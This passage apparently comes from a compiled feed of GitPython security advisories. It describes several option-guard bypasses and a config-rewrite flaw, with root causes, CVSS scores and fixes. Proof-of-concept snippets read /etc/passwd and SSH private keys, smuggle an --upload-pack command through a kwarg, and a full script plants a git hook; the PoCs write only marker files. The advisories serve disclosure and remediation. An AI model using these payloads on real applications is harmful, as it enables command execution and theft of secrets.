from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ##### Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76217](https://nvd.nist.gov/vuln/detail/CVE-2026-76217) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c](https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-hh9p-6wh2-4mfc](https://github.com/advisories/GHSA-hh9p-6wh2-4mfc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3841) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution [CVE-2026-76220](https://nvd.nist.gov/vuln/detail/CVE-2026-76220) / [GHSA-wvpp-8hx9-p66j](https://github.com/advisories/GHSA-wvpp-8hx9-p66j) / PYSEC-2026-3843 <details> <summary>More information</summary> #### Details ##### Summary The `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n<value>` argv token that git parses as `--upload-pack=<cmd>`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True. ##### Root Cause `_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the JOINED token `-nutouch <cmd>;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u<cmd>` = `--upload-pack=<cmd>` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it. ##### Impact Arbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts). ##### Proof of Concept ```python from git import Repo Repo.clone_from(src, dst, n="utouch /tmp/ACE;git-upload-pack", split_single_char_options=False) # /tmp/ACE created -> ACE ``` ##### Attack Chain 1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`. 2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`. 3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>']`. 4. Impact: git clusters `-n` + `-u<cmd>` → runs upload-pack command → ACE. ##### Bypass Evidence Independently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`. ##### Affected Versions `GitPython <= 3.1.57` (code present verbatim on the latest release tag). ##### Suggested Fix Make `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n<value>` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j) - [https://nvd.nist.gov/vuln/detail/CVE-2026-76220](https://nvd.nist.gov/vuln/detail/CVE-2026-76220) - [https://github.com/gitpython-developers/GitPython/pull/2204](https://github.com/gitpython-developers/GitPython/pull/2204) - [https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541](https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58) - [https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options](https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-wvpp-8hx9-p66j](https://github.com/advisories/GHSA-wvpp-8hx9-p66j) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3843) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE [CVE-2026-78676](https://nvd.nist.gov/vuln/detail/CVE-2026-78676) / [GHSA-284h-m62q-gf8w](https://github.com/advisories/GHSA-284h-m62q-gf8w) / PYSEC-2026-3786 <details> <summary>More information</summary> #### Details - **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument - **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ##### Reachability GitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #&#8203;2176) to reject a Python string containing a raw `\r`/`\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above. That guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts. The bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and "handles" any embedded newline in the value with `.replace("\n", "\n\t")` (line 708), emitting a bare, unquoted `<real newline><tab>` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `<anything>\nhooksPath = <attacker path>`, that second line is parsed as a brand-new `core.hooksPath = <attacker path>` directive — live, real Git configuration, not a value. `core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation. ##### Root cause `GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten. ##### Exploit path 1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: ``` [core] zzz = "A\nhooksPath = ../evil-hooks\ " ``` No raw `\r`, `\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\nhooksPath = ../evil-hooks`, identically to GitPython's own reader. 2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value("user", "name", "Test User")`. This is one of the most ordinary operations a GitPython-based tool performs. 3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim: ``` [core] ... zzz = A hooksPath = ../evil-hooks ``` 4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write. 5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution. ##### Impact Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` "Newline injection... enables RCE via core.hooksPath" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write. ##### Preconditions - A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `<anything>\n<injected-key> = <injected-value>`. Realistic delivery: 1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, "repo" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`. 2. **The documented shared-config `[include]` pattern** (`[include] path = ../<repo-tracked-file>`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`). 3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`). - No authentication/role requirement inside GitPython itself. ##### Evidence - `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\n` escape into a real embedded LF. - `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace("\n", "\n\t")` with no re-quoting. - `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message. - `git log -S"string_decode"`, `-S"write_section"`, `-S'replace("\n", "\n\t")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix. - PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real `git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file. ##### False-positive check (adversarial re-read) - **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism. - **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it. - **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery. - **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`. - Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written). ##### Remediation Either (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file <path> --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path. ##### Confidence High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD. ##### Proof-of-Concept source (`gitpython-002-poc.py`) ```python #!/usr/bin/env python3 """ GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value (standard quoted + backslash-continuation syntax, containing an escaped "\\n" that decodes to a real embedded newline in memory) is corrupted into a NEW, live config key the moment GitConfigParser re-serializes it during any unrelated write. If the smuggled second "line" looks like "hooksPath = <attacker path>", it becomes a real, active core.hooksPath after one unrelated GitPython config write, and fires attacker code on the next hook-triggering git operation (e.g. `git commit`). This is CWE-88/CWE-94 style argument/config injection, but via the READ path (a config file GitPython parses and later rewrites), not via a Python kwarg argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all guard the setter-argument surface only. Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir> Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a marker file; no destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the corruption / hook does not fire. """ import os import subprocess import sys def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc" repo_dir = os.path.join(workdir, "repo") hooks_dir = os.path.join(workdir, "evil-hooks") marker = os.path.join(workdir, "PWNED_MARKER.txt") for p in (repo_dir, hooks_dir): os.makedirs(p, exist_ok=True) if os.path.exists(marker): os.remove(marker) subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True) # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value # inside [core] (before any other section). No raw CR/LF/NUL byte is # written to disk here -- this is standard git config quoting + # backslash-line-continuation, decoded by both real git and GitConfigParser # into the Python string 'A\nhooksPath = ../evil-hooks'. cfg_path = os.path.join(repo_dir, ".git", "config") with open(cfg_path) as f: original = f.read() poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n' # Insert right after the [core] header line so it lives in the same section. new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1) with open(cfg_path, "w") as f: f.write(new_config) # Confirm it's inert per real git before touching GitPython. pre = subprocess.run( ["git", "-C", repo_dir, "config", "--get", "core.hookspath"], capture_output=True, text=True, ) if pre.returncode == 0: print("SETUP ERROR: core.hookspath already set before GitPython touched anything") sys.exit(2) # Malicious hook: benign marker only. hook_path = os.path.join(hooks_dir, "pre-commit") with open(hook_path, "w") as f: f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker) os.chmod(hook_path, 0o755) import git # gitpython under test repo = git.Repo(repo_dir) before = repo.config_reader().get_value("core", "zzz") print("core.zzz before any GitPython write =", repr(before)) # ONE totally unrelated, benign write -- this is the only "attacker-adjacent" # action required, and it is something virtually every GitPython consumer # does routinely (setting an option, adding a remote, updating a branch's # tracking config, ...). with repo.config_writer() as cw: cw.set_value("user", "name", "Test User") post = subprocess.run( ["git", "-C", repo_dir, "config", "--get", "core.hookspath"], capture_output=True, text=True, ) if post.returncode != 0: print("NOT VULNERABLE: core.hookspath still absent after the unrelated write") sys.exit(1) injected_path = post.stdout.strip() print("core.hookspath is now LIVE after one unrelated write:", injected_path) # Trigger the hook with a normal commit to prove it fires. with open(os.path.join(repo_dir, "file2.txt"), "w") as f: f.write("change\n") subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True) subprocess.run( ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T", "commit", "-q", "-m", "trigger hook"], check=True, ) if os.path.isfile(marker): with open(marker) as f: content = f.read().strip() print("VULNERABLE: hook fired, marker content =", content) sys.exit(0) else: print("NOT VULNERABLE: hook did not fire") sys.exit(1) if __name__ == "__main__": main() ``` #### Severity - CVSS Score: 9.3 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78676](https://nvd.nist.gov/vuln/detail/CVE-2026-78676) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-284h-m62q-gf8w) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251) [CVE-2026-78679](https://nvd.nist.gov/vuln/detail/CVE-2026-78679) / [GHSA-3wxw-xv34-2frg](https://github.com/advisories/GHSA-3wxw-xv34-2frg) / PYSEC-2026-3837 <details> <summary>More information</summary> #### Details ##### Summary `TagReference.create()` forwards a caller-influenced positional `reference` value into `git tag` without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit `3af0c251` (the fix for GHSA-3f7w-8rr8-f37f's tag instance). ##### Root Cause The fix `3af0c251` added `unsafe_git_tag_options = ["--file","-F"]` and a guard call, but the guard is `Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)` at `git/refs/tag.py:139` — it passes an EMPTY args list and inspects **kwargs only**. The dangerous values `path` and `reference` are POSITIONALS (`args = (path, reference)`, tag.py:156), placed before any `--`. A user-influenced `reference="--file=<path>"` therefore reaches `git tag` as the exact `--file` option the fix intended to block, creating an annotated tag whose message is the file's contents. ##### Impact Arbitrary local file read at the privileges of the host process; contents returned in-band via `tagref.tag.message`. Requires the embedding application to forward a caller-influenced `reference` value into `TagReference.create()` (pure VALUE control — the CVE-2026-42215 threat model). Default `allow_unsafe_options=False`. ##### Proof of Concept ```python from git import TagReference t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa") print(t.tag.message) # contents of the file ``` ##### Attack Chain 1. Entry: app calls `TagReference.create(repo, name, reference=<user>)` with `reference="--file=/home/app/.ssh/id_rsa"`. 2. Check: `Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])` @&#8203; tag.py:137-141. Guard: denylist includes `--file`/`-F`. Bypass proof: `_option_candidates` receives `args=[]` → the positional `reference` is never a candidate (the kwarg spelling `file="…"` IS blocked; only the positional escapes). 3. Sink: `repo.git.tag(*args, **kwargs)` @&#8203; tag.py:158 → no `--`. argv (observed): `['git','tag','-f','vpwn','--file=<secret>']`. 4. Impact: annotated tag created; `tagref.tag.message` == file contents (arbitrary file read). ##### Bypass Evidence Independently reproduced (independent test harness, git 2.43.0, default `allow_unsafe_options=False`): `TagReference.create(repo,'vp','--file=<secret>')` → PASSED; `tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'`. Control: `TagReference.create(..., file='<secret>')` → `UnsafeOptionError: --file is not allowed`. Fix-commit read: `3af0c251` adds `_option_candidates([], kwargs)` (empty args → positional never a candidate). ##### Affected Versions `GitPython <= 3.1.58` (sink present verbatim on the latest release tag; `git diff 3.1.57..HEAD` touches only test files). ##### Suggested Fix Include the positional `reference` (and `path`) in the option-candidate list passed to `check_unsafe_options`, or place a `--` separator before the positional arguments in `TagReference.create()`. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78679](https://nvd.nist.gov/vuln/detail/CVE-2026-78679) - [https://github.com/gitpython-developers/GitPython/pull/2208](https://github.com/gitpython-developers/GitPython/pull/2208) - [https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6](https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3wxw-xv34-2frg) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame() [CVE-2026-78678](https://nvd.nist.gov/vuln/detail/CVE-2026-78678) / [GHSA-5xxx-qhh7-9287](https://github.com/advisories/GHSA-5xxx-qhh7-9287) / PYSEC-2026-3788 <details> <summary>More information</summary> #### Details ##### Summary `Repo.blame()` / `Repo.blame_incremental()` guard forwarded revision options against `unsafe_git_revision_options`, but that denylist only contains the file-WRITE options `--output`/`-o`. `git blame` also honors `--contents <file>` and `-S <file>`, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of `--contents=<path>` passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame `--output` WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory). ##### Root Cause `unsafe_git_revision_options = ["--output","-o"]` (`git/repo/base.py:188`). The `rev` string is passed to `_option_candidates([rev], kwargs)` and placed BEFORE the `--` separator (base.py:841). The canonical name of `--contents=...` is `contents`, which is not on the denylist, so no `UnsafeOptionError` is raised. The trailing `--` protects only the pathspec, not the option before the revision. ##### Impact Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default `allow_unsafe_options=False`. ##### Proof of Concept ```python result = repo.blame("--contents=/etc/passwd", "a.txt") ##### result rows carry the victim file's line text ``` ##### Attack Chain 1. Entry: app calls `repo.blame(rev, file)` with attacker `rev="--contents=/etc/passwd"` (or kwarg `contents="/etc/passwd"`, or `-S`). 2. Check: `Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)` @&#8203; base.py:841. Guard: denylist = `["--output","-o"]` only. Bypass proof: canonical name `contents` ∉ denylist → no error. 3. Sink: `self.git.blame(rev, "--", file, p=True, ...)`. argv (observed): `['git','blame','-p','--contents=<secret>','HEAD','--','a.txt']`. 4. Impact: blame result rows carry the victim file's line text. ##### Bypass Evidence Independently reproduced (independent test harness, default `allow_unsafe_options=False`): `blame('--contents=<secret>','a.txt')` → guard PASSED; result rows = `['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']`. Control: `blame('--output=…')` still BLOCKED (guard active on this path). `-S` kwarg argv also reaches git unguarded. ##### Affected Versions `GitPython <= 3.1.58` (denylist present verbatim on the latest release tag). ##### Suggested Fix Prefer an allowlist of blame options; at minimum add `--contents`/`-S` (and any other path-taking blame options) to `unsafe_git_revision_options`, and make the membership rule "the option takes a filesystem path" rather than "the option writes output". --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78678](https://nvd.nist.gov/vuln/detail/CVE-2026-78678) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3788.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3788.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5xxx-qhh7-9287) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes) [CVE-2026-78675](https://nvd.nist.gov/vuln/detail/CVE-2026-78675) / [GHSA-7833-fr7j-v32q](https://github.com/advisories/GHSA-7833-fr7j-v32q) / PYSEC-2026-3785 <details> <summary>More information</summary> #### Details ##### [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` 